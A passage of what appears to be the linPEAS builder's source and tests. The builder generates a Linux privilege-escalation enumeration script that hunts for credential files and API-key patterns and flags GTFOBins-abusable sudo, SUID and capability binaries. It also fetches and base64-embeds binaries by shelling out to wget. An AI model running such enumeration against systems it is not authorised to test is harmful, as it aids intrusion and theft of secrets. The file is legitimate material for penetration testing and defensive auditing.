{precord.name.replace(\"_\",\" \")} Files (limit 70)\"\\n'\n\n                for exec_line in precord.exec:\n                    if exec_line:\n                        section += \"    \" + exec_line + \"\\n\"\n\n                for frecord in precord.filerecords:\n                    section += \"    \" + self.__construct_file_line(precord, frecord) + \"\\n\"\n                \n                section += \"fi\\n\"\n                \n                sections[precord.name] = section\n\n        return sections\n\n    def __construct_file_line(self, precord: PEASRecord, frecord: FileRecord, init: bool = True) -> str:\n        real_regex = frecord.regex[1:] if frecord.regex.startswith(\"*\") and len(frecord.regex) > 1 else frecord.regex\n        real_regex = real_regex.replace(\".\",\"\\\\.\").replace(\"*\",\".*\")\n        real_regex += \"$\"\n        \n        analise_line = \"\"\n        if init:\n            analise_line = 'if ! [ \"`echo \\\\\\\"$PSTORAGE_'+precord.bash_name+'\\\\\\\" | grep -E \\\\\\\"'+real_regex+'\\\\\\\"`\" ]; then if [ \"$DEBUG\" ]; then echo_not_found \"'+frecord.regex+'\"; fi; fi; '\n            analise_line += 'printf \"%s\" \"$PSTORAGE_'+precord.bash_name+'\" | grep -E \"'+real_regex+'\" | while read f; do ls -ld \"$f\" 2>/dev/null | sed -${E} \"s,'+real_regex+',${SED_RED},\"; '\n\n        #If just list, just list the file/directory\n        if frecord.just_list_file:\n            if frecord.type == \"d\":\n                analise_line += 'ls -lRA \"$f\";'\n            analise_line += 'done; echo \"\";'\n            return analise_line\n        \n        if frecord.type == \"f\":\n            grep_empty_lines = ' | grep -IEv \"^$\"'\n            grep_line_grep = f' | grep -E {frecord.line_grep}' if frecord.line_grep else \"\"\n            grep_only_bad_lines = f' | grep -E \"{frecord.bad_regex}\"' if frecord.bad_regex else \"\"\n            grep_remove_regex = f' | grep -Ev \"{frecord.remove_regex}\"' if frecord.remove_regex else \"\"\n            sed_bad_regex = ' | sed -${E} \"s,'+frecord.bad_regex+',${SED_RED},g\"' if frecord.bad_regex else \"\"\n            sed_very_bad_regex = ' | sed -${E} \"s,'+frecord.very_bad_regex+',${SED_RED_YELLOW},g\"' if frecord.very_bad_regex else \"\"\n            sed_good_regex = ' | sed -${E} \"s,'+frecord.good_regex+',${SED_GOOD},g\"' if frecord.good_regex else \"\"\n\n            if init:\n                analise_line += 'cat \"$f\" 2>/dev/null'\n            else:\n                analise_line += 'cat \"$ff\" 2>/dev/null'\n\n            if grep_empty_lines:\n                analise_line += grep_empty_lines\n\n            if grep_line_grep:\n                analise_line += grep_line_grep\n\n            if frecord.only_bad_lines and not grep_line_grep:\n                analise_line += grep_only_bad_lines\n\n            if grep_remove_regex:\n                analise_line += grep_remove_regex\n            \n            if sed_bad_regex:\n                analise_line += sed_bad_regex\n            \n            if sed_very_bad_regex:\n                analise_line += sed_very_bad_regex\n\n            if sed_good_regex:\n                analise_line += sed_good_regex\n            \n            analise_line += '; done; echo \"\";'\n            return analise_line\n\n        #In case file is type \"d\"\n        if frecord.files:\n            for ffrecord in frecord.files:\n                ff_real_regex = ffrecord.regex[1:] if ffrecord.regex.startswith(\"*\") and ffrecord.regex != \"*\" else ffrecord.regex\n                ff_real_regex = ff_real_regex.replace(\"*\",\".*\")\n                #analise_line += 'for ff in $(find \"$f\" -name \"'+ffrecord.regex+'\"); do ls -ld \"$ff\" | sed -${E} \"s,'+ff_real_regex+',${SED_RED},\"; ' + self.__construct_file_line(precord, ffrecord, init=False)\n                analise_line += 'find \"$f\" -name \"'+ffrecord.regex+'\" | while read ff; do ls -ld \"$ff\" | sed -${E} \"s,'+ff_real_regex+',${SED_RED},\"; ' + self.__construct_file_line(precord, ffrecord, init=False)\n\n        analise_line += 'done; echo \"\";'\n        return analise_line\n    \n    def __get_bin(self, url, tar_gz=\"\") -> str:\n        os.system(f\"wget -q '{url}' -O /tmp/bin_builder\")\n        if tar_gz:\n            os.system(f\"cd /tmp; tar -xvzf /tmp/bin_builder 2> /dev/null; rm /tmp/bin_builder; mv {tar_gz} /tmp/bin_builder\")\n        \n        with open(\"/tmp/bin_builder\", \"rb\") as bin:\n            bin_b64 = base64.b64encode(bin.read()).decode('utf-8')\n\n        os.remove(\"/tmp/bin_builder\")\n                \n        return bin_b64\n    \n    def __get_gtfobins_lists(self) -> tuple:\n        bins = []\n        api_url = \"https://api.github.com/repos/GTFOBins/GTFOBins.github.io/contents/_gtfobins?per_page=100\"\n        while api_url:\n            r = requests.get(api_url, timeout=10)\n            if not r.ok:\n                break\n            data = r.json()\n            for entry in data:\n                if entry.get(\"type\") == \"file\" and entry.get(\"name\"):\n                    bins.append(entry[\"name\"])\n            api_url = None\n            link = r.headers.get(\"Link\", \"\")\n            for part in link.split(\",\"):\n                if 'rel=\"next\"' in part:\n                    api_url = part.split(\";\")[0].strip().strip(\"<>\")\n                    break\n        if not bins:\n            r = requests.get(\"https://github.com/GTFOBins/GTFOBins.github.io/tree/master/_gtfobins\", timeout=10)\n            bins = re.findall(r'_gtfobins/([a-zA-Z0-9_ \\-]+)(?:\\\\.md)?', r.text)\n\n        sudoVB = []\n        suidVB = []\n        capsVB = []\n\n        for b in bins:\n            try:\n                rb = requests.get(f\"https://raw.githubusercontent.com/GTFOBins/GTFOBins.github.io/master/_gtfobins/{b}\", timeout=5)\n            except:\n                try:\n                    rb = requests.get(f\"https://raw.githubusercontent.com/GTFOBins/GTFOBins.github.io/master/_gtfobins/{b}\", timeout=5)\n                except:\n                    rb = requests.get(f\"https://raw.githubusercontent.com/GTFOBins/GTFOBins.github.io/master/_gtfobins/{b}\", timeout=5)\n            if \"sudo:\" in rb.text:\n                if len(b) <= 3:\n                    sudoVB.append(\"[^a-zA-Z0-9]\"+b+\"$\") # Less false possitives applied to small names\n                else:\n                    sudoVB.append(b+\"$\")\n            if \"suid:\" in rb.text:\n                suidVB.append(\"/\"+b+\"$\")\n            if \"capabilities:\" in rb.text:\n                capsVB.append(b)\n        \n        return (suidVB, sudoVB, capsVB)\n    \n    def __generate_regexes_search(self) -> str:\n        regexes = REGEXES_LOADED[\"regular_expresions\"]\n\n        regexes_search_section = \"\"\n\n        for values in regexes:\n            section_name = values[\"name\"]\n            regexes_search_section += f'    print_2title \"Searching {section_name}\"\\n'\n\n            for entry in values[\"regexes\"]:\n                name = entry[\"name\"]\n                caseinsensitive = entry.get(\"caseinsensitive\", False)\n                regex = entry[\"regex\"]\n                regex = regex.replace(\"\\\\\", \"\\\\\\\\\").replace('\"', '\\\\\"').strip()\n                falsePositives = entry.get(\"falsePositives\", False)\n\n                if falsePositives:\n                    continue\n                \n                regexes_search_section += f\"    search_for_regex \\\"{name}\\\" \\\"{regex}\\\" {'1' if caseinsensitive else ''}\\n\"\n                \n            regexes_search_section += \"    echo ''\\n\\n\"\n\n        return regexes_search_section\n\n\n    def __replace_mark(self, mark: str, find_calls: list, join_char: str):\n        \"\"\"Substitute the markup with the actual code\"\"\"\n\n        self.linpeas_sh = self.linpeas_sh.replace(mark, join_char.join(find_calls)) #New line char isn't needed\n    \n    def write_linpeas(self, path):\n        \"\"\"Write on disk the final linpeas\"\"\"\n        \n        with open(path, \"w\") as f:\n            f.write(self.linpeas_sh)\n        \n        print(f\"[+] Linpeas written on {path}\")\n    \n"
  },
  {
    "path": "linPEAS/builder/src/linpeasModule.py",
    "content": "import os\nimport re\n\nfrom .yamlGlobals import (\n    LINPEAS_PARTS\n)\n\nclass LinpeasModule:\n    def __init__(self, path):\n        self.path = path\n        real_path = os.path.realpath(path)\n        with open(path, 'r') as file:\n            self.module_text = file.read()\n        \n        self.sh_code = \"\"\n        self.is_check = False\n        self.is_function = False\n        self.is_variable = False\n        self.is_base = False\n\n        if \"/functions/\" in path:\n            self.is_function = True\n        \n        elif \"/variables/\" in path:\n            self.is_variable = True\n        \n        elif \"/linpeas_base/\" in path:\n            self.is_base = True\n         \n        self.section_info = {}\n        if not (self.is_base or self.is_function or self.is_variable):\n            for module in LINPEAS_PARTS[\"modules\"]:\n                if os.path.realpath(module[\"folder_path\"]) in real_path:\n                    self.section_info = module\n                    self.is_check = True\n                    break\n        \n        if not (self.is_base or self.is_function or self.is_variable or self.is_check):\n            raise Exception(f\"Module {path} doesn't belong to any section\")\n        \n        # Initi data\n        self.title = None\n        self.id = None\n        self.author = None\n        self.last_update = None\n        self.description = None\n        self.version = None\n        self.mitre_ids = []  # list of MITRE ATT&CK technique IDs (e.g. [\"T1082\", \"T1548.003\"])\n        self.functions_used = None\n        self.global_variables = None\n        self.initial_functions = None\n        self.generated_global_variables = None\n        self.is_fat = None\n        self.is_small = None\n        self.sh_code = \"\"\n\n        is_description = False\n        for i,line in enumerate(self.module_text.splitlines()):\n\n            if line.startswith(\"# Title:\"):\n                self.title = line[8:].strip()\n                is_description = False\n            \n            elif line.startswith(\"# ID:\"):\n                self.id = line[5:].strip()\n                is_description = False\n                if re.sub('^[0-9]+_', '', os.path.basename(path).replace(\".sh\", \"\")) not in [self.id, self.id[3:]]:\n                    raise Exception(f\"Wrong ID in module {path}. It should be the same as the filename\")\n            \n            elif line.startswith(\"# Author:\"):\n                is_description = False\n                self.author = line[10:].strip()\n            \n            elif line.startswith(\"# Last Update:\"):\n                is_description = False\n                self.last_update = line[15:].strip()\n            \n            elif line.startswith(\"# Description:\"):\n                self.description = line[15:].strip()\n                is_description = True\n            \n            elif line.startswith(\"# Version:\"):\n                is_description = False\n                self.version = line[11:].strip()\n\n            elif line.startswith(\"# Mitre:\"):\n                is_description = False\n                raw = line[8:].strip()\n                self.mitre_ids = [t.strip() for t in raw.split(\",\") if t.strip()]\n\n            elif line.startswith(\"# Functions Used:\"):\n                is_description = False\n                self.functions_used = line[17:].split(\",\")\n                self.functions_used = [f.strip() for f in self.functions_used if f.strip()]\n\n                if \"/variables/\" in path and self.functions_used:\n                    raise Exception(f\"Variables shouldn't user functions, so functions in module {path} should be empty\")\n            \n            elif line.startswith(\"# Global Variables:\"):\n                is_description = False\n                self.global_variables = line[19:].split(\",\")\n                self.global_variables = [f.strip().replace(\"$\", \"\") for f in self.global_variables if f.strip()]\n            \n            elif line.startswith(\"# Initial Functions:\"):\n                is_description = False\n                self.initial_functions = line[20:].split(\",\")\n                self.initial_functions = [f.strip() for f in self.initial_functions if f.strip()]\n\n            elif line.startswith(\"# Generated Global Variables:\"):\n                is_description = False\n                self.generated_global_variables = line[29:].split(\",\")\n                self.generated_global_variables = [f.strip().replace(\"$\", \"\") for f in self.generated_global_variables if f.strip()]\n            \n            elif line.startswith(\"# Fat linpeas:\"):\n                is_description = False\n                self.is_fat = bool(int(line[15]))\n                \n            elif line.startswith(\"# Small linpeas:\"):\n                is_description = False\n                self.is_small = bool(int(line[17]))\n            \n            elif is_description:\n                if line.strip():\n                    self.description += line + \"\\n\"\n                else: # If line empty, outside of description\n                    is_description = False\n\n            else:\n                if line.strip():\n                    self.sh_code += line + \"\\n\"\n        \n        if self.title is None:\n            raise Exception(f\"Wrong title in module {path}. Some metadata should start with '# Title: '\")\n        \n        if self.id is None:\n            raise Exception(f\"Wrong ID in module {path}. Some metadata should start with '# ID: '\")\n        \n        if self.author is None:\n            raise Exception(f\"Wrong author in module {path}. Some metadata should start with '# Author: '\")\n\n        if self.last_update is None:\n            raise Exception(f\"Wrong last update in module {path}. Some metadata should start with '# Last Update: '\")\n        \n        if self.description is None:\n            raise Exception(f\"Wrong description in module {path}. Some metadata should start with '# Description: '\")\n        \n        if self.version is None:\n            raise Exception(f\"Wrong version in module {path}. Some metadata should start with '# Version: '\")\n        \n        if self.functions_used is None:\n            raise Exception(f\"Wrong functions used in module {path}. Some metadata should start with '# Functions Used: '\")\n        \n        if self.global_variables is None:\n            raise Exception(f\"Wrong global variables in module {path}. Some metadata should start with '# Global Variables: '\")\n        \n        if self.initial_functions is None:\n            raise Exception(f\"Wrong initial functions in module {path}. Some metadata should start with '# Initial Functions: '\")\n        \n        if self.generated_global_variables is None:\n            raise Exception(f\"Wrong generated global variables in module {path}. Some metadata should start with '# Generated Global Variables: '\")\n        \n        if self.is_fat is None:\n            raise Exception(f\"Wrong fat linpeas in module {path}. Some metadata should start with '# Fat linpeas: '\")\n        \n        if self.is_small is None:\n            raise Exception(f\"Wrong small linpeas in module {path}. Some metadata should start with '# Small linpeas: '\")\n        \n        if self.sh_code == \"\":\n            raise Exception(f\"Wrong sh code in module {path}. No code found.\")\n        \n        \n        \n        \n        self.sh_code = self.sh_code.strip()\n        self.defined_funcs = self.extract_function_names()\n\n        # Check if the indicated dependencies are actually being used\n        for func in self.functions_used:\n            if func not in self.sh_code and func not in self.initial_functions and not \"peass{\" in self.sh_code:\n                raise Exception(f\"Used function '{func}' in module {path} doesn't exist in the module code\")\n        \n        for var in self.global_variables:\n            if var not in self.sh_code and not \"peass{\" in self.sh_code:\n                raise Exception(f\"Used variable '{var}' in module {path} doesn't exist in the module code\")\n        \n        for var in self.generated_global_variables:\n            if var not in self.sh_code:\n                raise Exception(f\"Generated variable '{var}' in module {path} doesn't exist in the module code\")\n        \n        # Check for funcs and vars imported from itself\n        for func in self.defined_funcs:\n            if func in self.functions_used:\n                raise Exception(f\"Function '{func}' in module {path} is imported from itself\")\n        \n        for var in self.global_variables:\n            if var in self.generated_global_variables:\n                raise Exception(f\"Variable '{var}' in module {path} is imported from itself\")\n        \n        # Check if all variables are correctly defined\n        linux_global_vars = [\n            \"OPTARG\",\n            \"PID\",\n            \"PPID\",\n            \"AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\",\n            \"AWS_LAMBDA_RUNTIME_API\",\n            \"ECS_CONTAINER_METADATA_URI\",\n            \"ECS_CONTAINER_METADATA_URI_v4\",\n            \"IDENTITY_ENDPOINT\",\n            \"IDENTITY_HEADER\",\n            \"KUBERNETES_SERVICE_PORT_HTTPS\",\n            \"KUBERNETES_SERVICE_HOST\"\n        ]\n        main_base = None\n        \n        # Base global variables don't need to be defined\n        if self.id != \"BS_variables_base\":\n            main_base = LinpeasModule(os.path.join(os.path.dirname(__file__), \"..\", \"linpeas_parts\", \"linpeas_base\", \"0_variables_base.sh\"))\n        \n        not_defined_global_vars = []\n        for var in self.extract_variables(self.sh_code):\n            if len(var) > 2 and not var in linux_global_vars and var not in self.global_variables and var not in self.generated_global_variables:\n                if not var.startswith(\"PSTORAGE_\"):\n                    if not main_base or var not in main_base.generated_global_variables:\n                        not_defined_global_vars.append(\"$\"+var)\n        \n        if not_defined_global_vars:\n            raise Exception(f\"Global Variables '{', '.join(not_defined_global_vars)}' in module {path} are not defined inside the 'Generated Global Variables' metadata\")\n            \n\n    def __eq__(self, other):\n        # Check if other object is an instance of LinpeasModule\n        if isinstance(other, LinpeasModule):\n            return self.id == other.id\n        return NotImplemented  # Return NotImplemented for unsupported comparisons\n\n    def extract_function_names(self):\n        # This regular expression pattern matches function definitions in sh code\n        pattern = r'\\b(\\w+)\\s*\\(\\s*\\)\\s*{'\n        return re.findall(pattern, self.sh_code)\n\n    def extract_variables(self, sh_code):\n        # This regex pattern matches variables in the form $VAR_NAME or ${VAR_NAME}\n        pattern = r'\\$({?([a-zA-Z_][a-zA-Z0-9_]*)}?)'\n        matches = re.findall(pattern, sh_code)\n        # Extract the variable name from each match\n        variables = [match[1] for match in matches]\n        return list(set(variables))  # Using set to remove duplicates\n\n\nclass LinpeasModuleList(list):\n    def __contains__(self, item):\n        # Check if item is already a LinpeasModule object.\n        if isinstance(item, LinpeasModule):\n            return super().__contains__(item)\n        \n        # Otherwise, treat the item as the id of a LinpeasModule.\n        for module in self:\n            if module.id == item:\n                return True\n        return False\n\n    def index(self, item_id):\n        for index, module in enumerate(self):\n            if module.id == item_id:\n                return index\n        raise ValueError(f\"{item_id} is not in the list\")\n\n    def remove(self, item):\n        # If item is an id, find the corresponding object first.\n        if not isinstance(item, LinpeasModule):\n            index = self.index(item)\n            super().pop(index)\n        else:\n            super().remove(item)\n\n    def insert(self, index, item):\n        # Ensure that item is a LinpeasModule object before inserting.\n        if not isinstance(item, LinpeasModule):\n            raise ValueError(\"Item should be an instance of LinpeasModule\")\n        super().insert(index, item)\n    \n    def copy(self):\n        return LinpeasModuleList(super().copy())\n    "
  },
  {
    "path": "linPEAS/builder/src/peasLoaded.py",
    "content": "from .fileRecord import FileRecord\nfrom .peassRecord import PEASRecord\nfrom .yamlGlobals import YAML_LOADED, DEFAULTS\n\nclass PEASLoaded:\n    def __init__(self):\n        to_search = YAML_LOADED[\"search\"]\n        self.peasrecords = []\n        for record in to_search:\n            record_value = record[\"value\"]\n            if \"linpeas\" in str(record_value[\"config\"].get(\"disable\",\"\")).lower():\n                continue\n\n            filerecords = []\n            for filerecord in record_value[\"files\"]:\n                filerecords.append(\n                    FileRecord(\n                        regex=filerecord[\"name\"],\n                        **filerecord[\"value\"]\n                    )\n                )\n            \n            name = record[\"name\"]\n            self.peasrecords.append(\n                PEASRecord(\n                    name=name,\n                    auto_check=record_value[\"config\"][\"auto_check\"],\n                    exec=record_value[\"config\"].get(\"exec\", DEFAULTS[\"exec\"]),\n                    filerecords=filerecords\n                )\n            )"
  },
  {
    "path": "linPEAS/builder/src/peassRecord.py",
    "content": "class PEASRecord:\n    def __init__(self, name, auto_check: bool, exec: list, filerecords: list):\n        self.name = name\n        self.bash_name = name.upper().replace(\" \",\"_\").replace(\"-\",\"_\")\n        self.auto_check = auto_check\n        self.exec = exec\n        self.filerecords = filerecords"
  },
  {
    "path": "linPEAS/builder/src/yamlGlobals.py",
    "content": "import os\nimport yaml\nfrom pathlib import Path\n\n\nscript_folder = Path(os.path.dirname(os.path.abspath(__file__)))\ntarget_file = script_folder / '..' / '..' / '..' / 'build_lists' / 'download_regexes.py'\nos.system(target_file)\n\nCURRENT_DIR = os.path.dirname(os.path.realpath(__file__))\n\nLINPEAS_BASE_PARTS = CURRENT_DIR + \"/../linpeas_parts\"\nLINPEAS_PARTS = {\n    \"functions\": LINPEAS_BASE_PARTS + \"/functions\",\n    \"variables\": LINPEAS_BASE_PARTS + \"/variables\",\n    \"base\": LINPEAS_BASE_PARTS + \"/linpeas_base\",\n    \"modules\": [\n        {\n            \"name\": \"System Information\",\n            \"name_check\": \"system_information\",\n            \"folder_path\": LINPEAS_BASE_PARTS + \"/1_system_information\"\n        },\n        {\n            \"name\": \"Container\",\n            \"name_check\": \"container\",\n            \"folder_path\": LINPEAS_BASE_PARTS + \"/2_container\"\n        },\n        {\n            \"name\": \"Cloud\",\n            \"name_check\": \"cloud\",\n            \"folder_path\": LINPEAS_BASE_PARTS + \"/3_cloud\"\n        },\n        {\n            \"name\": \"Processes, Crons, Timers, Services and Sockets\",\n            \"name_check\": \"procs_crons_timers_srvcs_sockets\",\n            \"folder_path\": LINPEAS_BASE_PARTS + \"/4_procs_crons_timers_srvcs_sockets\"\n        },\n        {\n            \"name\": \"Network Information\",\n            \"name_check\": \"network_information\",\n            \"folder_path\": LINPEAS_BASE_PARTS + \"/5_network_information\"\n        },\n        {\n            \"name\": \"Users Information\",\n            \"name_check\": \"users_information\",\n            \"folder_path\": LINPEAS_BASE_PARTS + \"/6_users_information\"\n        },\n        {\n            \"name\": \"Software Information\",\n            \"name_check\": \"software_information\",\n            \"folder_path\": LINPEAS_BASE_PARTS + \"/7_software_information\"\n        },\n        {\n            \"name\": \"Files with Interesting Permissions\",\n            \"name_check\": \"interesting_perms_files\",\n            \"folder_path\": LINPEAS_BASE_PARTS + \"/8_interesting_perms_files\"\n        },\n        {\n            \"name\": \"Other Interesting Files\",\n            \"name_check\": \"interesting_files\",\n            \"folder_path\": LINPEAS_BASE_PARTS + \"/9_interesting_files\"\n        },\n        {\n            \"name\": \"API Keys Regex\",\n            \"name_check\": \"api_keys_regex\",\n            \"folder_path\": LINPEAS_BASE_PARTS + \"/10_api_keys_regex\"\n        }\n    ]\n}\n\n\nLINPEAS_BASE_PATH = LINPEAS_BASE_PARTS + \"/linpeas_base.sh\"\nTEMPORARY_LINPEAS_BASE_PATH = CURRENT_DIR + \"/../linpeas_base_tmp.sh\"\nFINAL_FAT_LINPEAS_PATH = CURRENT_DIR + \"/../../\" + \"linpeas_fat.sh\"\nFINAL_LINPEAS_PATH = CURRENT_DIR + \"/../../\" + \"linpeas.sh\"\nYAML_NAME = \"sensitive_files.yaml\"\nYAML_REGEXES = \"regexes.yaml\"\nFILES_YAML = CURRENT_DIR + \"/../../../build_lists/\" + YAML_NAME\nREGEXES_YAML = CURRENT_DIR + \"/../../../build_lists/\" + YAML_REGEXES\n\n\nwith open(FILES_YAML, 'r') as file:\n    YAML_LOADED = yaml.load(file, Loader=yaml.FullLoader)\n\nwith open(REGEXES_YAML, 'r') as file:\n    REGEXES_LOADED = yaml.load(file, Loader=yaml.FullLoader)\n\nROOT_FOLDER = YAML_LOADED[\"root_folders\"]\nDEFAULTS = YAML_LOADED[\"defaults\"]\nCOMMON_FILE_FOLDERS = YAML_LOADED[\"common_file_folders\"]\nCOMMON_DIR_FOLDERS = YAML_LOADED[\"common_directory_folders\"]\nassert all(f in ROOT_FOLDER for f in COMMON_FILE_FOLDERS)\nassert all(f in ROOT_FOLDER for f in COMMON_DIR_FOLDERS)\n\n\nPEAS_CHECKS_MARKUP = YAML_LOADED[\"peas_checks\"]\nPEAS_FINDS_MARKUP = YAML_LOADED[\"peas_finds_markup\"]\nPEAS_FINDS_CUSTOM_MARKUP = YAML_LOADED[\"peas_finds_custom_markup\"]\nFIND_LINE_MARKUP = YAML_LOADED[\"find_line_markup\"]\nFIND_TEMPLATE = YAML_LOADED[\"find_template\"]\n\nREGEXES_MARKUP = YAML_LOADED[\"peas_regexes_markup\"]\nPEAS_STORAGES_MARKUP = YAML_LOADED[\"peas_storages_markup\"]\nSTORAGE_LINE_MARKUP = YAML_LOADED[\"storage_line_markup\"]\nSTORAGE_LINE_EXTRA_MARKUP = YAML_LOADED[\"storage_line_extra_markup\"]\nSTORAGE_TEMPLATE = YAML_LOADED[\"storage_template\"]\n\nPEAS_VARIABLES_MARKUP = YAML_LOADED[\"variables_markup\"]\nYAML_VARIABLES = YAML_LOADED[\"variables\"]\n\nINT_HIDDEN_FILES_MARKUP = YAML_LOADED[\"int_hidden_files_markup\"]\n\nEXTRASECTIONS_MARKUP = YAML_LOADED[\"peas_extrasections_markup\"]\n\nSUIDVB1_MARKUP = YAML_LOADED[\"suidVB1_markup\"]\nSUIDVB2_MARKUP = YAML_LOADED[\"suidVB2_markup\"]\nSUDOVB1_MARKUP = YAML_LOADED[\"sudoVB1_markup\"]\nSUDOVB2_MARKUP = YAML_LOADED[\"sudoVB2_markup\"]\nCAP_SETUID_MARKUP = YAML_LOADED[\"cap_setuid_markup\"]\nCAP_SETGID_MARKUP = YAML_LOADED[\"cap_setgid_markup\"]\n\n"
  },
  {
    "path": "linPEAS/tests/test_builder.py",
    "content": "import os\nimport re\nimport stat\nimport subprocess\nimport tempfile\nimport unittest\nfrom pathlib import Path\n\n\nclass LinpeasBuilderTests(unittest.TestCase):\n    def setUp(self):\n        self.repo_root = Path(__file__).resolve().parents[2]\n        self.linpeas_dir = self.repo_root / \"linPEAS\"\n\n    def _run_builder(self, args, output_path):\n        cmd = [\"python3\", \"-m\", \"builder.linpeas_builder\"] + args + [\"--output\", str(output_path)]\n        result = subprocess.run(cmd, cwd=str(self.linpeas_dir), capture_output=True, text=True)\n        if result.returncode != 0:\n            raise AssertionError(\n                f\"linpeas_builder failed:\\nstdout:\\n{result.stdout}\\nstderr:\\n{result.stderr}\"\n            )\n\n    def test_small_build_creates_executable(self):\n        with tempfile.TemporaryDirectory() as tmpdir:\n            output_path = Path(tmpdir) / \"linpeas_small.sh\"\n            self._run_builder([\"--small\"], output_path)\n            self.assertTrue(output_path.exists(), \"linpeas_small.sh was not created.\")\n            mode = output_path.stat().st_mode\n            self.assertTrue(mode & stat.S_IXUSR, \"linpeas_small.sh is not executable.\")\n\n    def test_include_exclude_modules(self):\n        with tempfile.TemporaryDirectory() as tmpdir:\n            output_path = Path(tmpdir) / \"linpeas_include.sh\"\n            self._run_builder([\"--include\", \"system_information,container\", \"--exclude\", \"container\"], output_path)\n            content = output_path.read_text(encoding=\"utf-8\", errors=\"ignore\")\n            self.assertIn(\"Operative system\", content)\n            self.assertNotIn(\"Am I Containered?\", content)\n\n    def test_threads_flag_present_in_getopts(self):\n        \"\"\"Regression: -z must appear in the getopts string so it is actually parsed.\"\"\"\n        with tempfile.TemporaryDirectory() as tmpdir:\n            output_path = Path(tmpdir) / \"linpeas.sh\"\n            self._run_builder([\"--all-no-fat\"], output_path)\n            content = output_path.read_text(encoding=\"utf-8\", errors=\"ignore\")\n            # Match the actual option-parsing line: 'while getopts' followed by\n            # either a single or double quoted option string, to avoid matching\n            # comments or help text that happen to contain 'getopts'.\n            getopts_line = next(\n                (l for l in content.splitlines()\n                 if re.match(r'\\s*while\\s+getopts\\s+[\\'\"]', l)),\n                None\n            )\n            self.assertIsNotNone(getopts_line,\n                                 \"'while getopts' line not found in built script.\")\n            self.assertIn(\"z:\", getopts_line,\n                          \"-z: option is missing from the getopts string in the built script.\")\n\n    def test_threads_flag_present_in_help_text(self):\n        \"\"\"Regression: -z must be documented in the help text of the built script.\"\"\"\n        with tempfile.TemporaryDirectory() as tmpdir:\n            output_path = Path(tmpdir) / \"linpeas.sh\"\n            self._run_builder([\"--all-no-fat\"], output_path)\n            content = output_path.read_text(encoding=\"utf-8\", errors=\"ignore\")\n            self.assertIn(\"-z <N>\", content,\n                          \"-z <N> help entry is missing from the built script.\")\n\n    def test_mitre_flag_present_in_getopts(self):\n        \"\"\"The -T flag must appear in the getopts string so it is actually parsed.\"\"\"\n        with tempfile.TemporaryDirectory() as tmpdir:\n            output_path = Path(tmpdir) / \"linpeas.sh\"\n            self._run_builder([\"--all-no-fat\"], output_path)\n            content = output_path.read_text(encoding=\"utf-8\", errors=\"ignore\")\n            getopts_line = next(\n                (l for l in content.splitlines()\n                 if re.match(r'\\s*while\\s+getopts\\s+[\\'\"]', l)),\n                None\n            )\n            self.assertIsNotNone(getopts_line,\n                                 \"'while getopts' line not found in built script.\")\n            self.assertIn(\"T:\", getopts_line,\n                          \"-T: option is missing from the getopts string in the built script.\")\n\n    def test_mitre_flag_present_in_help_text(self):\n        \"\"\"The -T flag must be documented in the help text of the built script.\"\"\"\n        with tempfile.TemporaryDirectory() as tmpdir:\n            output_path = Path(tmpdir) / \"linpeas.sh\"\n            self._run_builder([\"--all-no-fat\"], output_path)\n            content = output_path.read_text(encoding=\"utf-8\", errors=\"ignore\")\n            self.assertIn(\"-T\", content,\n                          \"-T help entry is missing from the built script.\")\n\n    def test_mitre_filter_function_present(self):\n        \"\"\"check_mitre_filter() must be emitted into the built script.\"\"\"\n        with tempfile.TemporaryDirectory() as tmpdir:\n            output_path = Path(tmpdir) / \"linpeas.sh\"\n            self._run_builder([\"--all-no-fat\"], output_path)\n            content = output_path.read_text(encoding=\"utf-8\", errors=\"ignore\")\n            self.assertIn(\"check_mitre_filter\", content,\n                          \"check_mitre_filter function is missing from the built script.\")\n\n    def _run_base_mitre_filter(self, mitre_filter, check_ids):\n        base_file = self.linpeas_dir / \"builder\" / \"linpeas_parts\" / \"linpeas_base\" / \"0_variables_base.sh\"\n        result = subprocess.run(\n            [\n                \"bash\",\n                \"-lc\",\n                (\n                    f'source \"{base_file}\" >/dev/null 2>&1 || true; '\n                    f'MITRE_FILTER=\"{mitre_filter}\"; '\n                    f'check_mitre_filter \"{check_ids}\"; '\n                    'echo $?'\n                ),\n            ],\n            capture_output=True,\n            text=True,\n            cwd=str(self.repo_root),\n        )\n        self.assertEqual(result.returncode, 0, result.stderr)\n        return result.stdout.strip().splitlines()[-1]\n\n    def test_mitre_parent_filter_matches_subtechnique(self):\n        \"\"\"Regression: filtering by a base technique must include child sub-techniques.\"\"\"\n        exit_code = self._run_base_mitre_filter(\"T1552\", \"T1552.001\")\n        self.assertEqual(\"0\", exit_code,\n                         \"Parent MITRE filter T1552 should match sub-technique T1552.001.\")\n\n    def test_mitre_subtechnique_filter_does_not_match_parent(self):\n        \"\"\"Regression: filtering by a sub-technique must not include a parent-only tag.\"\"\"\n        exit_code = self._run_base_mitre_filter(\"T1552.001\", \"T1552\")\n        self.assertEqual(\"1\", exit_code,\n                         \"Sub-technique MITRE filter T1552.001 should not match parent tag T1552.\")\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "linPEAS/tests/test_modules_metadata.py",
    "content": "import re\nimport sys\nimport unittest\nfrom pathlib import Path\n\n\nclass LinpeasModulesMetadataTests(unittest.TestCase):\n    @classmethod\n    def setUpClass(cls):\n        cls.repo_root = Path(__file__).resolve().parents[2]\n        cls.linpeas_dir = cls.repo_root / \"linPEAS\"\n        cls.parts_dir = cls.linpeas_dir / \"builder\" / \"linpeas_parts\"\n\n        # Ensure `import builder.*` works when tests are run from repo root.\n        sys.path.insert(0, str(cls.linpeas_dir))\n\n        from builder.src.linpeasModule import LinpeasModule  # pylint: disable=import-error\n\n        cls.LinpeasModule = LinpeasModule\n\n    def _iter_module_files(self):\n        return sorted(self.parts_dir.rglob(\"*.sh\"))\n\n    def test_all_modules_parse(self):\n        module_files = self._iter_module_files()\n        self.assertGreater(len(module_files), 0, \"No linPEAS module files were found.\")\n\n        # Parsing a module validates its metadata and dependencies.\n        for path in module_files:\n            _ = self.LinpeasModule(str(path))\n\n    def test_check_module_id_matches_filename(self):\n        for path in self._iter_module_files():\n            module = self.LinpeasModule(str(path))\n            if not getattr(module, \"is_check\", False):\n                continue\n\n            # For checks, the filename (without numeric prefix) must match the module ID\n            # (either full ID or stripping section prefix like `SI_`).\n            file_base = re.sub(r\"^[0-9]+_\", \"\", path.stem)\n            module_id = getattr(module, \"id\", \"\")\n            module_id_tail = module_id[3:] if len(module_id) >= 3 else \"\"\n            self.assertIn(\n                file_base,\n                {module_id, module_id_tail},\n                f\"Module ID mismatch in 